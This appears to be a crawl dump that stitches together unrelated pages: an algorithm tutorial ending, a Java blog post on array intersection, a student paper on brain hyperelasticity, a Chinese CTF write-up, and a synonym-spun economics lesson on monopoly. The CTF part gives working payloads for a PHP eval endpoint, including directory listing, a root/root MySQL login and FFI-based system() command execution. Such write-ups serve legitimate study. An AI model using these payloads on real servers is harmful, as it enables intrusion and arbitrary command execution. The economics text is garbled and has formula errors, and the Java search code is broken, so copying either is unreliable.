queries);``}`\nOutput:\n```No\nYes\n```\n\nTime Complexity: O(N*log(N) + Q*log2(N))\nAuxiliary Space: O(N*log(N))\n\nAttention reader! Don’t stop learning now. Get hold of all the important DSA concepts with the DSA Self Paced Course at a student-friendly price and become industry ready. To complete your preparation from learning a language to DS Algo and many more, please refer Complete Interview Preparation Course.\n\nIn case you wish to attend live classes with experts, please refer DSA Live Classes for Working Professionals and Competitive Programming Live for Students.\n\nMy Personal Notes arrow_drop_up"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.75302786,"math_prob":0.97001266,"size":6169,"snap":"2021-31-2021-39","text_gpt3_token_len":1772,"char_repetition_ratio":0.13901055,"word_repetition_ratio":0.08643042,"special_character_ratio":0.3186902,"punctuation_ratio":0.1561753,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99770945,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-17T21:30:46Z\",\"WARC-Record-ID\":\"<urn:uuid:16d2c776-5e28-42c5-b14a-68684cd2f110>\",\"Content-Length\":\"137361\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:93666267-83bd-49a8-9089-0ffff7a46b04>\",\"WARC-Concurrent-To\":\"<urn:uuid:77a0ef9d-d8de-441a-ad12-c62f49e2bf65>\",\"WARC-IP-Address\":\"23.40.62.58\",\"WARC-Target-URI\":\"https://www.geeksforgeeks.org/queries-to-check-if-any-non-repeating-element-exists-within-range-l-r-of-an-array/?ref=rp\",\"WARC-Payload-Digest\":\"sha1:MEA3PX4LQGYYNOIXZICVGYHOOUSKS7UY\",\"WARC-Block-Digest\":\"sha1:PDMGRAFKLS4Y6V3LNK6D7RBBOI6L4G4B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780055808.78_warc_CC-MAIN-20210917212307-20210918002307-00519.warc.gz\"}"} |
https://tekmarathon.com/2012/11/26/ | [
"## find intersection of elements in two arrays\n\nAssume two arrays, ‘A’ of size ‘m’ and ‘B’ of size ‘n’\n\n## case 1: Two arrays are unsorted\n\nHere we pick one of the array and load it into hash implemented data structure, i.e, HashSet and then proceeds further to find intersection of elements.\n\nSince hashed data structure’s complexity is O(1), the total complexity to find intersection of elements the complexity would become\n\nAlgorithm Time Complexity: O(m) + O(n)*O(1)\nAlgorithm Space Complexity: O(m)\n\n```\tpublic void intersect1(int[] a, int[] b) {\nHashSet<Integer> hs = new HashSet<Integer>();\nfor (int i = 0; i < b.length; i++) {\n}\n\nfor (int i = 0; i < a.length; i++) {\nif(hs.contains(a[i])) {\nSystem.out.println(a[i]+\" is present in both arrays\");\n}\n}\n}\n```\n\npros:\nbest algorithm when compared to all others provided one implements appropriate hashcode method\ncons:\nwhen the size of the data structure grows too high, it might lead to hash collisions\n\n## Case 2: Two arrays are sorted\n\nFor every element in array A, do a binary search in array B (instead of linear search as shown in case-1), so here for every value in ‘A’ we go through log(n) interations in ‘B’ to find out if element in ‘A’ exists in ‘B’\n\nAlgorithm Time Complexity: O(m)*O(logn)\n\n```\npublic void intersect(int[] a, int[] b) {\nfor(int i=0; i<a.length; i++) {\nint val = binarySearch(b, a[i], 0, a.length);\nif(val == b[j]) {\nSystem.out.println(a[i]+\" is present in both arrays\");\nbreak;\n}\n}\n}\n```\n\n## case 3: Two arrays are unsorted\n\nBrute force algorithm: For every element in array A, traverse through all the elements of array B and find out if the element exists or not.\nAlgorithm Time Complexity: O(m)*O(n)\n\nIn Java\n\n```\t\tpublic void intersect(int[] a, int[] b) {\nfor(int i=0; i<a.length; i++) {\nfor(int j=0; j<b.length; j++) {\nif(a[i] == b[j]) {\nSystem.out.println(a[i]+\" is present in both arrays\");\nbreak;\n}\n}\n}\n}\n```\n\npros:\nworks well for smaller arrays\nworks for unsorted arrays\ncons:\norder/complexity is directly proportional to the product of size of arrays, this can take huge time for arrays of larger lengths\n\nMawazo\n\nMostly technology with occasional sprinkling of other random thoughts\n\namintabar\n\nAmir Amintabar's personal page\n\n101 Books\n\nReading my way through Time Magazine's 100 Greatest Novels since 1923 (plus Ulysses)\n\nSeek, Plunnge and more...\n\nMy words, my world...\n\nARRM Foundation\n\nDo not wait for leaders; do it alone, person to person - Mother Teresa\n\nExecutive Management\n\nAn unexamined life is not worth living – Socrates\n\njavaproffesionals\n\nA topnotch WordPress.com site\n\nthehandwritinganalyst\n\nJust another WordPress.com site\n\ncoding algorithms\n\n\"An approximate answer to the right problem is worth a good deal more than an exact answer to an approximate problem.\" -- John Tukey"
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https://journals.publishing.umich.edu/umurj/article/1332/galley/517/download/ | [
"umurj University of Michigan Undergraduate Research Journal 2640-8988 1332 8-A Parametric Study On the Brain Exploring the Role of Hyperelasticity.docx 10.3998/umurj.1332 A Parametric Study on the Brain Exploring the Role of Hyperelasticity Luke Humphrey A Parametric Study on the Brain Exploring the Role of Hyperelasticity Humphrey Luke lphum@umich.edu University of Michigan Contact: Luke Humphrey <lphum@umich.edu> 31 08 2021 15 CC BY-NC-ND 4.0\n\nThe brain exhibits both viscoelastic and hyperelastic behaviors (Miller and Chinzei, 2002) . The extent to which the brain exhibits each of these behaviors, however, is not fully known. As more work has been done in this area, a consensus has yet to emerge on material parameters that form a complete, accurate mechanical model of the brain. Models are formed with unique sets of experimental data using various methods, which leads to much variation in the material parameters used across studies. The variation indicates that there is a disagreement on the extent to which certain components of the brain material contribute to the observed behavior. It is likely that the disagreement in parameters will manifest differences between model behavior at extreme loading conditions. Brain behavior at such conditions is pertinent to improving the designs of helmets or crash safety systems. This paper explores the role of hyperelasticity in the brain by comparing the phenomenological differences between a simple linear viscoelastic and hyper-viscoelastic model of the brain. In order to do this, an isotropic model brain was generated using the finite element analysis software Abaqus 2019 and rotational loads were applied. A parametric study was performed using this model and the results were analyzed in Matlab 9.7. An injury threshold was implemented for each test to reveal differences in material composition. Upon completion of the tests and analysis of the results, a noticeable difference was observed between viscoelastic and hyper-viscoelastic models when comparing resultant shear strains of the tests, particularly at the extreme loading conditions. Noting the observed differences in connection to the material composition will allow researchers to make educated decisions on the extent to which they model brains with hyperelasticity. It will also allow researchers with simple linear viscoelastic models to weigh the potential behavior that might not be shown in the simple models.\n\nIntroduction\n\nSince the 1960’s, attaining the most accurate form for modeling the mechanics of the human brain has been studied and the merits of various models have been debated. However, due to the unique characteristics of the human brain and limited ability to conduct tests on it, a consensus has yet to be made in determining its material properties. Because of this, there is much variation in the material parameters used by researchers. Table 1 shows the variation in brain material parameters for Ogden’s model of hyperelasticity that have been used in a few well-known publications. The variation in material parameters shown in Table 1 suggests that, under the Ogden model, one set of parameters that models the hyperelasticity of the brain with complete accuracy may not be attainable.\n\nVariation in Hyperelastic Components.\n\nShown below are the values used for the unrelaxed shear modulus, μ0, and alpha constant, α, for first order Ogden models of hyperelasticity from four publications. The comma separated values represent parameters for gray and white matter of the brain, respectively.\n\nα μ0 [Pa] Publication\n−4.70 842 Miller and Chinzei, 2002 \n6.95 5160 Rashid et. al., 2012 \n0.038, 0.063 182, 263 Prange and Margulies, 2002 \n3.50, 6.84 319, 137 Valardi et. al., 2005 \n\nThe complexity of the brain has given way to two approaches to researching this topic. The first approach forms models with complexities such as anisotropy and hyper-viscoelasticity, as it is known that these are fundamental aspects of brain behavior (Chatelin et al., 2012) . The second approach models the material composition simply, including only essential components (i.e. density, elasticity, viscoelasticity), so as not to use incorrect parameters for complexities that may dramatically affect results. This approach assumes that if incorrect parameters are used for anisotropy and hyperelasticity, then the results will be less accurate than using a simple model with fewer unknown parameters. Rashid et al., 2012 and many reports like it use the first approach and assume that a hyper-viscoelastic model is necessary in order to produce valid results under certain loads. Other reports have assumed that the added complexities of hyperelasticity or anisotropy are trivial for different circumstances (e.g. Brands et al., 2004) . Either decision can produce meaningful results if the effect of the material assumptions is known and weighed with the conclusions. The following computational studies explores the role of hyperelasticity in the mechanics of the brain under rotational motion so that the effects of material assumptions in brain models are known.\n\nMethods\n\nTwo computational studies were conducted using the finite element analysis software package Abaqus 2019 on a circular cross section of a virtual brain. The first study validated the accuracy of the results from a 0.6 mm mesh model by comparison to the results from a 0.2 mm mesh model. The second study provided a comparison between viscoelastic and hyper-viscoelastic behavior using damage criterion. For both studies, rotational loads were applied to the brain for each material composition and the shear strain response was analyzed.\n\nGeometry.\n\nA circular cross section of the brain and skull, modeled with Abaqus, was used for all tests and is shown below in Figure 1. The plane strain assumption was used.\n\nShown above is the cross section of the Abaqus model brain that was used for each test. The skull is shown in red and the brain is in green. The skull is defined as a rigid body and the brain material definition varies between viscoelastic or visco-hyperelastic throughout the studies.\n\nFor each test, the system was subjected to a load defined by a sinusoidal rotational acceleration about the centroid of the brain. The parameters used to vary the input are TDur and Δω as shown below in Figure 2.\n\nLoading specifications applied to the skull for each test. (a) The rotational acceleration delivered to the skull, with period set by TDur. (b) The rotational velocity, with magnitude set by Δω.\n\nOgden’s Hyperelastic Model.\n\nFor the computational studies performed in this report, a first order Ogden model, N=1 was used. The strain energy density equation for Ogden’s model of hyperelasticity is shown below in equation (1) .\n\nU=i=1N2μiαi2(λ1αi+λ2αi+λ3αi3)+i=1N1Di(Jel3)2i\n\nThe inputs to this model are the relaxed shear modulus, μ1, the alpha constant, α, and the D1 value, which is determined by the bulk modulus, k0 through the relationD1=2k0. Abaqus computes and outputs the total volume change, Jel, and stretch values, λi, for each finite element of the model.\n\nMesh Validation\n\nTo ensure that appropriate mesh properties were used for the material comparison, four tests with Δω=0.10rads and varying values of TDur = 0.2, 0.3, 0.5, and 1 ms were conducted for both a 0.6 mm and 0.2 mm brain mesh. The maximum shear strain, γ, was observed at a consistent point in time over a consistent area of the brain for each test. This area is shown in Figure 3 and the material parameters describing the brain are given in Table 2. The viscoelastic component is expressed in the time domain and the hyperelastic component is defined by the Ogden model. The results of the mesh comparison are compiled in Table 3 and reveal the extent to which a 0.6 mm mesh can produce reliable results. A 0.6 mm mesh is preferable to a 0.2 mm mesh as computation can be completed much faster.\n\nMaterial Composition of Mesh Comparison Model.\n\nThe material parameters of the model used for the mesh comparison are shown below. The density used for both compositions is1000kgm3.\n\nViscoelastic Hyperelastic\ng_iP k_iP τi μ1 α D1\n0.84 0 0.1 1000 −5 2*108\n\nShown above in red is the area that was used to compare maximum shear strain values for each mesh in the first study.\n\nMesh Comparison Findings.\n\nTabulated below are the findings of the mesh comparison. Percent error was calculated under the assumption that the 0.2 mm mesh is accurate. The results from a 0.6 mm mesh become unreliable with pulse durations less than 2 ms.\n\n2 ms Pulse 3 ms Pulse 5 ms Pulse 10 ms Pulse\nγ max, 0.2 mm mesh 0.394*10–3 0.587*10–3 0.963*10–3 1.878*10–3\nγ max, 0.2 mm mesh 0.225*10–3 0.584*10–3 0.962*10–3 1.874*10–3\nPercent Error 42.9 % 0.511 % 0.104% 0.2130%\n\nThe findings in Table 3 were used to determine which values of the loading specification, TDur, produce results that experience insignificant numerical dispersion. Only TDur values of 3 ms or higher can be relied on to produce accurate results when using a 0.6 mm mesh. Such a condition was used for the remainder of the tests.\n\nMaterial Comparison Setup\n\nThis study compared the behavior of a viscoelastic model with that of a hyperviscoelastic model. Each test was evaluated against a maximum shear strain injury threshold to reveal differences between the models. A preliminary phase of these tests was completed to show which loading inputs would cause significant deformation of the brain. Once these potentially harmful inputs were known, another phase was completed with more tests using such inputs.\n\nFor every set of tests, 9 values of Δω and 13 values of TDur were combined, resulting in 117 tests with various loading inputs. Four sets of tests were completed, with each set using a consistent material composition. Lower and upper bounds of the relaxed shear modulus were used in order to understand if this value significantly contributes to differences in shear strain. For each bound of hyper-viscoelasticity, a corresponding composition of viscoelasticity was tested. The values for the corresponding compositions were obtained using Lamé parameter relations as explained below and shown in Table 4. This value was held constant for the lower and upper bounds. The relaxed shear modulus, μ1, was given a value of 1 kPa for the lower bound and 3 kPa for the upper bound. From these values of μ1 and K, the corresponding values of the Poisson’s ratio, ν, and Young’s modulus, E, were calculated using Lamé parameter relations .\n\nMaterial Comparison Parameters.\n\nThe parameters for each material component are shown below. The viscoelastic component is in the time domain and the hyperelastic component is defined by the Ogden model. The units for each parameter are shown in brackets. The carrots indicate the same value was used for the lower bound as for the upper bound. The density used for all tests is1000kgm3.\n\nViscoelasticity Visco-Hyperelasticity\ng_iP k_iP τi ν E g_iP k_iP τi μ1 α D1\nUpper Bound 0.84 0 0.1 0.499997 2999.99 0.84 0 0.1 1000 −5 2*108\nLower Bound ^^ ^^ ^^ 0.4999925 8999.95 ^^ ^^ ^^ 3000 ^^ ^^\nThe Injury Threshold.\n\nIn Morrison et. al., 2003 , it was suggested that brain cells will experience significant damage if their strain exceeds 10%. For the preliminary phase of tests, the 10% shear strain threshold was used. For the second phase of tests, two shear strain thresholds were used. A lower threshold of was used 5% along with the standard threshold of 10% to reveal whether the effects of the composition differences are exaggerated at higher strains.\n\nResults Maximum Acceleration Calculations\n\nIn order to represent the sets of tests, the maximum angular acceleration, Max(α), has been plotted against Δω. The value Max(a) for each test is derived from values for Δω and TDur. Shown in Figure 4 is the lower bound of the viscoelastic set of tests from the preliminary phase. On the x-axis of each plot is a logarithmic scale of the maximum angular acceleration, Max(α), of the skull. On the y-axis is the change in angular velocity, Δω, of the skull. Each point represents a test. Data points shown in red reveal tests where any element on the brain has exceeded the injury threshold.\n\nThe results from Figure 4 led to the second phase of tests using loading inputs that were finely incremented within the injury inducing inputs.\n\nShown above is the lower bound of the viscoelastic set of tests from the preliminary phase. The black lines show the loading input boundaries for which the second phase of tests are conducted. Notice that the two columns on the right side are excluded due to numerical dispersion, a concept that is explained in the Discussion section.\n\nMaterial Comparison Results\n\nThe results of the second phase of tests are compiled in Figure 5 on page 10. The figure uses two different shear strain injury thresholds. Any differences between the visco-hyperelastic and viscoelastic compositions are highlighted in yellow. Three observations can be noted. The first is that a large acceleration (α>435rads2) is necessary to observe differences between the hyper-viscoelastic and viscoelastic models. Even when the change in angular velocity is high, no differences were observed between the viscoelastic and hyper-viscoelastic models unless significant acceleration was applied. Secondly, the differences caused by the hyperelastic component are more pronounced at higher strains. This is evidenced in that Figure 5a reveals more differences in shear strain behavior than Figure 5b. Lastly, the upper bound, with relaxed shear modulus μ1 = 3 kPa, has revealed only one difference at an angular accelerationα>3,000rads2. This indicates that the value of the shear modulus significantly contributes to the effect of hyperelasticity.\n\nDiscussion Mesh Consideration.\n\nThe findings of the mesh comparison, compiled in Table 3, indicate that finite element analysis (FEA) requires a sufficiently fine mesh in order to produce reliable results. This is due to a phenomenon called numerical dispersion. Numerical dispersion occurs in tests when the simulated material exhibits a higher dispersivity than the true material . For the case of modeling the brain, this means that deformation measures, such as strain, which are observed from the model will have a lower magnitude than what would be experienced by a real brain. Because the brain is especially compliant, it will be important for all researchers to check that numerical dispersion does not occur within their FEA models of the brain.\n\nShown above are the results of the tests given an injury condition of (a) 0.1 maximum shear strain and (b) 0.05 max shear strain. Data points in red reveal tests that recorded a maximum shear strain in the brain larger than the threshold. The differences between the viscoelastic and hyper-viscoelastic tests are highlighted in yellow.\n\nHyperelastic Effect Dependent on Shear Modulus.\n\nFigure 5 on page 10 reveals that the shear modulus plays an important role in determining how hyperelasticity will affect the resultant shear strains. For the upper bound of the relaxed shear modulus, where μ1 = 3 kPa, only 1 of 16 tests that profile the injury threshold yielded a different result for the two models. This is held in contrast to the lower bound. For this bound, where μ1 = 1 kPa, 8 of 25 tests that profile the injury threshold yielded different results for the two models. All 9 of the tests that revealed differences between models consistently showed that the hyperelastic model was more resistant to shear deformation than the viscoelastic model.\n\nShown above are two stress-stretch curves of hyperelastic Ogden models in uniaxial tension with corresponding linear elastic stress-stretch curves. As the stretch is increased, the hyperelastic curves demand higher stresses than the linear elastic curves. Also note that as α is increased, this phenomenon is exaggerated.\n\nEvenly spaced values of TDur and Δω were selected on a logarithmic scale from the intervals below.\n\n102.5229101 100100.75\n\nWhen μ1 = 1 kPa, the hyperelastic component significantly contributes to the shear strain behavior for loading parameters α>450rads2 andΔω<2.4rads. This shows that quick rotations with high accelerations are where the effects of hyperelasticity are significant.\n\nHyperelastic Effect Dependent on Shear Strain Threshold.\n\nAs described in the Methods section on page 7, Figure 5a uses an injury threshold of γ > 0.10, as this has been considered the shear strain above which concussion is likely. Figure 5b uses a threshold of γ > 0.05 to study trends of the composition differences with higher strains. Figure 5 shows that the differences become exaggerated between the models as the threshold is increased. This result makes sense when considering the stress-stretch curve of a hyperelastic material. Figure 6 below provides an example of a comparison between a hyperelastic and purely elastic stress-stretch curve, where stretch is defined asλ=ll0. As is shown, the hyperelastic material requires greater stress in order to affect large strains. This attribute of hyperelastic materials helps to explain the resiliency of the models including the hyperelastic component.\n\nImplications for Future Work.\n\nIf a simple viscoelastic model is being used, then there will be less resistance to large shear strains. This means that if there are observable differences between the model and actuality, it would be that the brain experiences less shear strain than the model predicts. If, on the other hand, a hyper-viscoelastic model is being used, then any differences between the model and actuality would show that the model is more resistant to high shear strains than the true brain. This knowledge lets researchers with simple linear viscoelastic models know that their models tend to overestimate shear strain at extreme loading conditions. Furthermore, hyperelastic models with high shear moduli and large α values are more resistant to shear strain, meaning that the model tends to underpredict shear strain at extreme loading conditions. This is cause for warning as an underprediction in shear strain can lead to flaws in safety mechanism designs that allow for large shear strains to propagate in the brain, which are known to cause injury.\n\nConclusions\n\nThe following conclusions can be drawn from this research.\n\nThe hyperelastic tendency is to reduce the maximum strain caused by rotational loads.\n\nThe differences between viscoelastic and hyper-viscoelastic models increase as larger shear strains are affected on the brain.\n\nThe relaxed shear modulus value contributes to the effect of hyperelasticity on shear strain.\n\nIt is at the extreme loading conditions where differences in models become significant. Significant differences between a viscoelastic and hyper-viscoelastic model are observed for tests when the angular acceleration α>435rads2 and the relaxed shear modulus of the brain is μ1 < 1 kPa. If a relaxed shear modulus of μ1 > 3 kPa is being used, the effect of hyperelasticity on shear strain is only observed for loads with angular accelerationsα>1,600rads2.\n\nIt is crucial for all researchers to ensure that numerical dispersion does not occur within FEA models of the brain.\n\nReferences Miller K., Chinzei K., Mechanical properties of brain tissue in tension, Journal of Biomechanics 35, 483490, 2002. Chatelin S., Deck C., Willinger, An anisotropic viscous hyperelastic constitutive law for brain material finite element modeling, Biorheology, 2012. Rashid B., Destrade M, Gilchrist M. D., HYPERELASTIC AND VISCOELASTIC PROPERTIES OF BRAIN TISSUE IN TENSION, IMECE2012, 2012. Brands D.W.A., Peters G.W.M., Bovendeerd P.H.M., Design and numerical implementation of a 3-D non-linear viscoelastic constitutive model for brain tissue during impact, Journal of Biomechanics 37, 127134, 2004. Gasser T. C., Holzapfel G. A., and Ogden R. W., “Hyperelastic Modelling of Arterial Layers with Distributed Collagen Fibre Orientations,” Journal of the Royal Society Interface, vol. 3, pp. 1535, 2006. Carmen Chicone, Chapter 18 - Elasticity: Basic Theory and Equations of Motion, Editor(s): Carmen Chicone, An Invitation to Applied Mathematics, Academic Press, 2017, Pages 577–670, ISBN 9780128041536. Morrison B. III, Cater H. L., Wang C. C., Thomas F. C., Hung C. T., Ateshian G. A., Sundstrom L. E., A tissue level tolerance criterion for living brain developed with an In Vitro model of traumatic mechanical loading, Stapp Car Crash J., 47, 93105.2003. Trefethen L. N., Numerical Linear Algebra, 191205, 1994 Prange M. T., Margulies S. S., Regional, Directional, and Age-Dependent Properties of the Brain Undergoing Large Deformation, Journal of Biomechanical Engineering 124, 244252, 2002 Velardi F., Fraternali F., Angelillo M., Anisotropic constitutive equations and experimental tensile behavior of brain tissue, Springer-Verlag, 2005"
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"http://www.gialdiniworld.com/wp-content/uploads/x6-multiplication-worksheet-worksheets-for-all-download-and-share-worksheets-free-on.jpg",
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https://www.giaoblog.com/web/24393.html | [
"# php7.4以上的FFI扩展命令执行\n\nblog 188\n\n## 解题\n\n``````<?php\n\n// 你们在炫技吗？\nif(isset(\\$_POST['c'])){\n\\$c= \\$_POST['c'];\neval(\\$c); // eval执行参数c的值\n\\$s = ob_get_contents(); // 返回缓冲区的内容\nob_end_clean(); # 清空（擦除）缓冲区并关闭输出缓冲 此时eval()执行的结果就被清空了\necho preg_replace(\"/[0-9]|[a-z]/i\",\"?\",\\$s); # 将所有字母和数字替换为?\n}else{\nhighlight_file(__FILE__);\n}\n?>\n\n``````c=\n\\$a = new DirectoryIterator('glob:///*');\nforeach(\\$a as \\$f){\necho \\$f . ' ';\n};\nexit();``````\n\n``````c=\\$host = 'mysql:host=localhost;dbname=mysql';\n\\$dbuser = 'root';\n\\$dbpass = 'root';\ntry{\n\\$conn = new PDO(\\$host,\\$dbuser,\\$dbpass);\necho \\$row;\n}\n}catch(PDOException \\$e){\necho \\$e->getMessage();\nexit();\n};\nexit();``````\n\n`FFI`只会执行命令，不会返回对应的命令执行结果。\n\n``````<?php\n\\$ffi=FFI::cdef(\"int system(const char *command);\");\n\\$a='touch 123.txt'; // 执行的命令\necho \\$ffi->system(\\$a);\n?>``````\n\n``````c=\\$ffi=FFI::cdef(\"int system(const char *command);\");\n\\$ffi->system(\\$a);``````\n\n## FFI扩展的安装\n\n`````` wget https://www.php.net/distributions/php-7.4.27.tar.gz\ntar -zxvf php-7.4.27.tar.gz\ncd php-7.4.27/ext/ffi\nphpize\n./configure --with-php-config=/www/server/php/74/bin/php-config\nmake\nmake && make install``````\n\n``````ffi.enable=true\nextension = \"ffi.so\"``````"
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https://muzic-ivan.info/refer-to-the-diagrams-with-the-industry-structures-represented-by-diagram/ | [
"## Market Differences Between Monopoly and Perfect Competition\n\nMonopolies, as opposed to perfectly competitive industries, have high obstacles to enattempt and also a solitary producer that acts as a price maker.\n\nYou are watching: Refer to the diagrams. with the industry structures represented by diagram\n\n### Key Takeaways\n\nKey PointsIn a perfectly competitive sector, there are many producers and consumers, no barriers to exit and enattempt right into the market, perfectly homogenous items, perfect indevelopment, and also well-defined home legal rights.Perfectly competitive producers are price takers that can choose just how much to create, but not the price at which they deserve to sell their output.A monopoly exists when tbelow is only one producer and also many kind of consumers.Monopolies are identified by a lack of financial competition to produce the good or business and a absence of viable substitute products.Key Termsperfect competition: A type of industry through many type of consumers and also producers, every one of whom are price takersnetoccupational externality: The result that one user of an excellent or service has actually on the value of that product to various other peopleperfect information: The assumption that all consumers recognize all points, about all assets, at all times, and also therefore always make the ideal decision concerning purchase.\n\nA sector deserve to be structured differently depending upon the qualities of competition within that industry. At one extreme is perfect competition. In a perfectly competitive industry, there are many type of producers and also consumers, no obstacles to enter and also departure the industry, perfectly homogeneous items, perfect information, and well-defined residential or commercial property legal rights. This produces a system in which no individual economic actor can influence the price of a good – in various other words, producers are price takers that can select just how much to develop, but not the price at which they have the right to market their output. In truth tright here are few industries that are truly perfectly competitive, but some come incredibly close. For instance, commodity sectors (such as coal or copper) typically have actually many kind of buyers and also multiple sellers. Tright here are few differences in top quality in between service providers so goods can be quickly substituted, and the goods are basic enough that both buyers and sellers have complete information about the transaction. It is unmost likely that a copper producer might raise their prices over the industry price and still find a buyer for their product, so sellers are price takers.\n\nA monopoly, on the other hand also, exists once tright here is just one producer and also many type of consumers. Monopolies are characterized by a lack of economic competition to develop the good or company and a absence of viable substitute products. As an outcome, the single producer has manage over the price of a good – in various other words, the producer is a price maker that can recognize the price level by deciding what amount of a great to create. Public energy companies tend to be monopolies. In the instance of electrical power circulation, for instance, the expense to put up power lines is so high it is inefficient to have even more than one provider. There are no good substitutes for power distribution so consumers have few alternatives. If the electrical energy distributor chose to raise their prices it is likely that the majority of consumers would certainly proceed to purchase power, so the seller is a price maker.\n\nElectricity Distribution: The expense of electrical infrastructure is so expensive that there are few or no rivals for electricity distribution. This creates a monopoly.\n\n### Sources of Monopoly Power\n\nMonopoly power originates from industries that have actually high barriers to enattempt. This can be led to by a selection of factors:\n\nIncreasing returns to scale over a large selection of productionHigh capital requirements or big study and development costsProduction needs manage over herbal resourcesLegal or regulatory barriers to entryThe visibility of a netjob-related externality – that is, the usage of a product by a perkid boosts the value of that product for other people\n\n### Monopoly Vs. Perfect Competition\n\nMonopoly and also perfect competition mark the two extremes of sector frameworks, however tright here are some similarities in between firms in a perfectly competitive industry and also monopoly firms. Both confront the exact same cost and also manufacturing features, and also both look for to maximize profit. The shutdown decisions are the same, and both are assumed to have perfectly competitive determinants industries.\n\nHowever, there are several essential distinctions. In a perfectly competitive sector, price equates to marginal expense and also firms earn an financial profit of zero. In a monopoly, the price is set above marginal expense and also the firm earns a positive economic profit. Perfect competition produces an equilibrium in which the price and amount of an excellent is financially effective. Monopolies develop an equilibrium at which the price of a good is better, and the quantity lower, than is economically efficient. For this factor, federal governments often seek to regulate monopolies and also encourage raised competition.\n\n## Marginal Revenue and Marginal Cost Relationship for Monopoly Production\n\nFor monopolies, marginal expense curves are upward sloping and also marginal earnings are downward sloping.\n\n### Learning Objectives\n\nAnalyze how marginal and marginal prices affect a company’s manufacturing decision\n\n### Key Takeaways\n\nKey PointsFirm generally have marginal expenses that are low at low levels of production however that increase at better levels of manufacturing.While competitive firms experience marginal revenue that is equal to price – stood for graphically by a horizontal line – monopolies have downward-sloping marginal revenue curves that are different than the good’s price.For monopolies, marginal revenue is always much less than price.Key Termsmarginal revenue: The extra profit that will be produced by raising product sales by one unit.marginal cost: The boost in cost that acsuppliers a unit increase in output; the partial derivative of the cost feature through respect to output. More cost linked via developing another unit of output.\n\n### Profit Maximization\n\nIn standard economics, the goal of a firm is to maximize their profits. This suggests they want to maximize the distinction between their revenue, i.e. revenue, and their spending, i.e. costs. To discover the profit maximizing point, firms look at marginal revenue (MR) – the full additional revenue from selling one extra unit of output – and also the marginal price (MC) – the total additional price of developing one added unit of output. When the marginal revenue of marketing an excellent is higher than the marginal price of creating it, firms are making a profit on that product. This leads directly into the marginal decision dominion, which dictates that a given good need to continue to be created if the marginal revenue of one unit is greater than its marginal price. Therefore, the maximizing solution entails setting marginal revenue equal to marginal price.\n\nThis is relatively straightforward for firms in perfectly competitive sectors, in which marginal revenue is the same as price. Monopoly manufacturing, yet, is facility by the fact that monopolies have actually demand also curves and MR curves that are distinctive, resulting in price to differ from marginal revenue.\n\nMonopoly: In a syndicate sector, the marginal revenue curve and also the demand curve are unique and also downward-sloping. Production occurs where marginal cost and also marginal revenue intersect.",
null,
"Perfect Competition: In a perfectly competitive market, the marginal revenue curve is horizontal and equal to demand also, or price. Production occurs wbelow marginal cost and also marginal revenue intersect.\n\n### Monopoly Profit Maximization\n\nThe marginal cost curves confronted by monopolies are similar to those confronted by perfectly competitive firms. Most will have low marginal costs at low levels of production, showing the fact that firms deserve to take advantage of performance avenues as they begin to flourish. Marginal expenses gain greater as output boosts. For example, a pizza restaurant can easily double manufacturing from one pizza per hour to 2 without hiring additional employees or buying more sophisticated equipment. When manufacturing reaches 50 pizzas per hour, however, it might be challenging to thrive without investing a lot of money in even more professional employees or even more high-technology ovens. This trfinish is reflected in the upward-sloping portion of the marginal cost curve.\n\nThe marginal revenue curve for monopolies, however, is quite various than the marginal revenue curve for competitive firms. While competitive firms suffer marginal revenue that is equal to price – represented graphically by a horizontal line – monopolies have actually downward-sloping marginal revenue curves that are different than the good’s price.\n\n## Profit Maximization Function for Monopolies\n\nMonopolies collection marginal price equal to marginal revenue in order to maximize profit.\n\n### Key Takeaways\n\nKey PointsThe first-order condition for maximizing revenues in a monopoly is 0=∂q=p(q)+qp′(q)−c′(q), wbelow q = the profit-maximizing quantity.A monopoly’s profits are stood for by π=p(q)q−c(q), wbelow revenue = pq and also cost = c.Monopolies have actually the ability to limit output, thus charging a greater price than would be possible in competitive sectors.Key Termsfirst-order condition: A mathematical relationship that is important for a quantity to be maximized or reduced.deadweight loss: A loss of financial effectiveness that can take place once an equilibrium is not Pareto optimal.\n\nMonopolies have a lot more power than firms usually would in competitive sectors, however they still challenge limits figured out by demand for a product. Higher prices (except under the the majority of excessive conditions) expect lower sales. Because of this, monopolies have to make a decision around wright here to collection their price and the amount of their supply to maximize profits. They have the right to either select their price, or they deserve to select the amount that they will certainly produce and also enable industry demand also to set the price.\n\nSince prices are a role of quantity, the formula for profit maximization is written in regards to quantity fairly than in price. The monopoly’s profits are provided by the following equation:\n\nπ=p(q)q−c(q)\n\nIn this formula, p(q) is the price level at quantity q. The cost to the firm at quantity q is equal to c(q). Profits are stood for by π. Since revenue is represented by pq and also price is c, profit is the difference between these 2 numbers. As a result, the first-order condition for maximizing revenues at amount q is stood for by:\n\n0=∂q=p(q)+qp′(q)−c′(q)\n\nThe over first-order problem have to always be true if the firm is maximizing its profit – that is, if p(q)+qp′(q)−c′(q) is not equal to zero, then the firm can adjust its price or amount and make even more profit.\n\nMarginal revenue is calculated by p(q)+qp′(q), which is acquired from the term for revenue, pq. The term c′(q) is marginal price, which is the derivative of c(q). Monopolies will certainly develop at amount q wbelow marginal revenue equates to marginal expense. Then they will charge the maximum price p(q) that industry demand will certainly respond to at that amount.\n\nConsider the instance of a monopoly firm that deserve to produce widgets at a cost given by the complying with function:\n\nc(q)=2+3q+q2\n\nIf the firm produces 2 widgets, for instance, the complete price is 2+3(2)+22=12. The price of widgets is established by demand:\n\np(q)=24-2p\n\nWhen the firm produces 2 widgets it deserve to charge a price of 24-2(2)=20 for each widacquire. The firm’s profit, as displayed above, is equal to the distinction in between the quantity produces multiplied by the price, and the full expense of production: p(q)q−c(q). How deserve to we maximize this function?\n\nUsing the initially order condition, we recognize that when profit is maximized, 0=p(q)+qp′(q)−c′(q). In this case:\n\n0=(24-2p)+q(-2)-(3+2q)=21-6q\n\nRearranging the equation mirrors that q=3.5. This is the profit maximizing quantity of manufacturing.\n\nConsider the diagram illustrating monopoly competition. The crucial points of this diagram are fivefold.\n\nFirst, marginal revenue lies listed below the demand curve. This occurs bereason marginal revenue is the demand also, 